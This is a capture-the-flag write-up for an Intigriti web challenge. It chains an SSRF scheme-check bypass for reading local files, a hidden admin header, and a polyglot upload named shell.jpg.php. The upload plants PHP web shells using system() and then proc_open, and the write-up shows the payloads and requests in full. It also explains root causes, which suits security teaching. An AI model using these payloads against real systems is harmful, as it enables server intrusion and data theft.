Intigriti 1025 RCE Challenge - Writeup

Challenge: challenge-1025.intigriti.io
Flag: INTIGRITI{ngks896sdjvsjnv6383utbgn}


Summary

I found a server-side request forgery (SSRF) that allowed local file reads and, by combining several weaknesses, resulted in remote code execution (RCE) on the target. The attack chain exploited a lax URL/scheme check, a hidden Apache header-based auth gate, weak upload validation that relied on mime_content_type() and filename checks, and the presence of the proc_open function (which was not disabled). The final payload uploaded a polyglot file that passed the checks and provided command execution via proc_open.


Steps I followed

1. Discover SSRF and local file read

  • Visited: https://challenge-1025.intigriti.io/challenge.php and observed input that performs server-side URL fetches (SSRF).
  • Tried using file:// to read local files (for example file:///etc/passwd) but received:
    Invalid URL: must include 'http'
    

  • Bypassed this check by embedding the string http inside a file:// payload. Example:
    file:///http/../../etc/passwd
    


    This allowed me to read local files.

2. Inspect webroot and find the upload page

  • Used the SSRF to enumerate /var/www/html and retrieved upload_shoppix_images.php:
    https://challenge-1025.intigriti.io/challenge.php?url=file:///http/../../var/www/html/upload_shoppix_images.php
    
  • upload_shoppix_images.php contains a loose upload validation routine:
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $file = $_FILES['image'];
        $filename = $file['name'];
        $tmp = $file['tmp_name'];
        $mime = mime_content_type($tmp);
    
        if (
            strpos($mime, "image/") === 0 &&
            (stripos($filename, ".png") !== false ||
            stripos($filename, ".jpg") !== false ||
            stripos($filename, ".jpeg") !== false)
        ) {
            move_uploaded_file($tmp, "uploads/" . basename($filename));
            echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
        } else {
            echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
        }
    }
    

3. Hidden access control via Apache configuration

  • Attempting to access /upload_shoppix_images.php returned 403 Forbidden.
  • Using the SSRF to read Apache config showed an access rule: file:///http/../../etc/apache2/sites-available/000-default.conf
    <Files "upload_shoppix_images.php">
        <If "%{HTTP:is-shoppix-admin} != 'true'">
            Require all denied
        </If>
        Require all granted
    </Files>
    
  • This revealed a server-side header check: requests must set Is-Shoppix-Admin: true to bypass the 403.

4. Bypassing upload checks & uploading a polyglot file

  • There are two checks:
    • mime_content_type() must start with image/.
    • Filename must contain .png, .jpg, or .jpeg (case-insensitive).
  • I uploaded a polyglot file that satisfied both checks:
    • Prepend a valid GIF header (GIF87a) so mime_content_type() reports an image.
    • Name the file shell.jpg.php so the filename check passes while the file still executes as PHP on the server.
      Example multipart payload (raw form for clarity):
      POST /upload_shoppix_images.php HTTP/2
      Host: challenge-1025.intigriti.io
      Is-Shoppix-Admin: true
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdKYHhIRrjUoowPR
      
      ------WebKitFormBoundaryJdKYHhIRrjUoowPR
      Content-Disposition: form-data; name="image"; filename="shell.jpg.php"
      
      GIF87a
      <?php system($_GET['cmd']) ?>
      ------WebKitFormBoundaryJdKYHhIRrjUoowPR--
      

      GIF87a fools the MIME sniffing into thinking this is an image. The filename shell.jpg.php passes the loose filename extension check.

5. Initial command execution and disabled functions

  • After uploading, visiting:
    https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=whoami
    

    returned a PHP fatal error:
    Call to undefined function system()
    

    indicating dangerous functions like system were disabled.

6. Check which functions are disabled

  • Uploaded a phpinfo() file to inspect configuration and disabled functions (using the same upload technique). From this I confirmed which functions were disabled and that proc_open was available.

7. Final RCE using proc_open

  • Replaced the payload with a proc_open based stub which is not disabled:
    GIF87a
    <?php $d=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$p=proc_open($_GET['cmd'],$d,$pipes);echo stream_get_contents($pipes[1])?>
    

  • List root with
    https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=ls%20/
    

  • Read the flag:
    https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=cat%20/93e892fe-c0af-44a1-9308-5a58548abd98.txt
    


Root causes & technical notes

  • SSRF validation relied on a brittle string check that required the payload to include http. This allowed creative payloads like file:///http/../../... to reach local files.
  • Access control enforced by a custom header (Is-Shoppix-Admin) is only as secure as the server-side enforcement; in this case it was bypassable for SSRF-based file reads and then settable for direct POSTs.
  • Upload validation relied on mime_content_type() and filename substring checks, both of which can be fooled:
    • mime_content_type() can be tricked by a file header (polyglot).
    • Checking filename for .jpg/.png substrings allows names like shell.jpg.php.
  • PHP dangerous functions were mostly disabled, but proc_open remained enabled and provided a reliable execution primitive.
  • Uploaded files were placed in a web-accessible uploads/ directory, making execution trivial once a PHP handler file was present.